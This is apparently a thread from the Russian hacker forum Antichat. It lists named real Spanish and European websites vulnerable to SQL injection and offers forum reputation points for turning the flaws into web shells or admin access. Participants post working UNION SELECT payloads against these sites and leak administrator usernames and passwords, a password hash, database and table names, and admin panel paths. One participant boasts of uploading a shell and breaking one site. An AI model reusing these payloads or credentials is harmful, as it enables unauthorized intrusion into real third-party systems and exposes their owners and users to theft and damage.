ANTICHAT - SQL - inj на .ES сайтах, угощайтесь !11

ANTICHAT (https://forum.antichat.io/index.php)

- Песочница (https://forum.antichat.io/forumdisplay.php?f=189)

- - SQL - inj на .ES сайтах, угощайтесь !11 (https://forum.antichat.io/showthread.php?t=242678)

Хекал испанские порталы и кое что осталось... Вот решил поделиться) Заодно посмотреть/проверить Ваши знания. Есть шанс немного проявить себя

За каждую скулю, раскрученную до шелла Вы получите 1-3 к грин репе и 5-15 к репе(в зависимости от способа заливки), за доступ в админку(путь к админке, логин и пасс админа) 1-2 грин репы и 1-10 репы.

тиц 40 пр7

Код:

http://www.eaea.org/es/topics.php?topic=218'

pr 5

Код:

http://www.memorimagefestival.org/es/news.php?id=43'

pr 5

Код:

http://www.elp.uji.es/news.php?id=9+and+1=0+union+select+1,2,3,4,5,6,7--

pr 4

Код:

http://www.hamo.es/es/news.php?id=21'

pr 4

Код:

http://www.vigoempresa.com/html/es/news.php?id=729'

pr 3

Код:

http://www.coupdefouet.eu/es/news.php?year=2009&month=07&id=0'

pr 3

Код:

http://http://www.look4fashion.es/es/news.php?sprog=&dage=archive&menu=ja&katagori=9'

pr 2

Код:

http://www.eiffelgres.es/news.php?id=58'

pr 2

Код:

http://www.eurotechcenter.es/news.php?act=readmore&id=271'

pr 2

Код:

http://www.natcnc.com/es/news.php?id=4&type=nccNews'

тиц 0 pr 0

Код:

http://www.franziska.es/news.php?&show_id=4&nshow=shownewscom&go=10224'

тиц 0 pr 0

Код:

http://www.mantres.es/news.php?tipo=NOTICIA&id=1+and+1=0+union+select+1,2,version(),4,5,database(),7,8,user(),10,11,12--

5.0.90

db1usr2484

db1usr2484@clientes.svnt.com

тиц 0 pr 0

Код:

http://www.vuototecnica.es/news.php?id=89+and+1=0+union+select+1,2,version(),4,5,6,7,8,9--

5.0.51a-community

По итогам темы гринрепа выросла у:

GIG на 3 пункта

DCrypt +2 пункта

~dos~ +1 пункта

ubi +1 пункта

Фараон получает устное замечание/предупреждение, за оффтоп. Внимательно читай первый пост и не надо имправизаций.

Спасибо всем, кто принял участие в этой разминке)

Тему закрываем !

Цитата:

Сообщение от None

http://www.mantres.es/news.php?tipo=NOTICIA&id=1+and+1=0+union+select+1, 2,version(),4,5,databa se(),7,8,user(),10,11,12--

Админка:

http://www.look4fashion.dk/x_admin/adgang.php

DB если что: look4fashion_dk_db

=========

Цитата:

Сообщение от None

http://www.memorimagefestival.org/es/news.php?id=43

User: docsbarc

Password: 18admin24

Админку не нашел.

=======

Цитата:

Сообщение от None

http://www.eurotechcenter.es/news.php?act=readmore&id=271

http://www.eurotechcenter.es/admin.php

Юзер: ETC

Пасс: fawaka

Залить шелл не знаю как.

=========

http://www.hamo.es/es/news.php?id=-21+union+select+1,2,concat_ws(0x3a,login,password) ,4,5,6,7,8,9+from+usuarios--

hamo:se73rXKXniZMM

Админку не нашел=(

Цитата:

Сообщение от None

http://www.coupdefouet.eu/es/news.php?year=2009&month=07&id=0

Админка:http://www.memorimagefestival.org/gestor/

Логин: docsbarc

Пароль:18admin24

Шелл:http://[форбиден как бы ]

ps админку запечатал чтобы не перезалили =/

Админка:

http://www.vigoempresa.com/panel/

DB: puer24

Таблицы:

ve_textos

ve_empresas_empresas_categorias

ve_empresas_categoria

ve_empresas

pv_textos

pv_news

Испанского незнаю, ничего не нашёл.

Аналогично:

Админка:

http://www.vuototecnica.es/admin

DB: vuototec_db

Таблицы:

products

product_types

newsmodul_pics

newsmodul_news

newsmodul_links

Юзеров так же не нашёл.

Цитата:

Сообщение от DCrypt

Ясно.
Сайт кстати поломался.
http://www.memorimagefestival.org/

знаю , главное что шелл залил

UPD - пропатчил сайт , теперь в принципе не залить шелл , восстановил админку , перезалил шелл